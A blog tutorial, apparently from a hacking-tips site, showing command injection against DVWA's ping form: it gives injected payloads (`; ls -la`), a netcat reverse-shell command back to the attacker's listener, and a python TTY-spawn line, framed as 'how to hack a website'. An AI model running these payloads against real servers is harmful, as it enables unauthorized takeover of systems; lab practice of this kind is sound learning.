how to hack a website using rce (UPDATED) - Coders Hut

how to hack a website using rce (UPDATED)

| |

how to hack a website using rce

so hello guys in today’s article we are going to see how to hack a website using rce , in the previous article we have seen how to hack website database

what is rce (Remote Code Execution) :

  • using Remote code Execution vulnerability attacker can run the system-level commands, an attacker can also take control over the server using this vulnerability
  • this vulnerability can provide an ability to the attacker to execute malicious code and take full control of Web-Server

so in this article, I am  going to explain how to take control over server using RCE, I am using DVWA for explaining exploitation of  RCE let’s start then

first thing first whenever you try to find any vulnerability focus on input and output here in this example there is simple web-app which provides ping information of IP


  • Input:


so whenever we give IP as an input, it tries to ping that particular IP, so we can assume that in the backend there is any function which takes input and performs ping command


so now let’s try to exploit it, by ” ; ” we can separate out two different commands so let’s try

Example: ; ls -la

we are adding ls -la command after separation and observe the output

rce injected

we can see in the output ls -la is also executed


so now let’s move forward and try to get access to that server using RCE, we can execute any system commands so let’s get back-connection

first thing first let’s open 1337 port to create back-connection using NetCat on our computer

open port on local pc

and now execute command nc IP-Address Port -e /bin/bash ” to get back-connection

Example: ; nc -e /bin/bash

get back connection

I got back-connection then I try to get spawn tty shell using python -c ‘import pty; pty.spawn(“/bin/bash”)’  

spawned tty shell

now we can do anything we want

  • upload any file
  • we can try to get root access and much more

so our today’s article ends here if you get confused then let me know your confusion in comments, subscribe to notification and share this post with your friends see you in the next article


sql injection example

How to upload Web-Shell without admin panel


1 thought on “how to hack a website using rce (UPDATED)”

Leave a Comment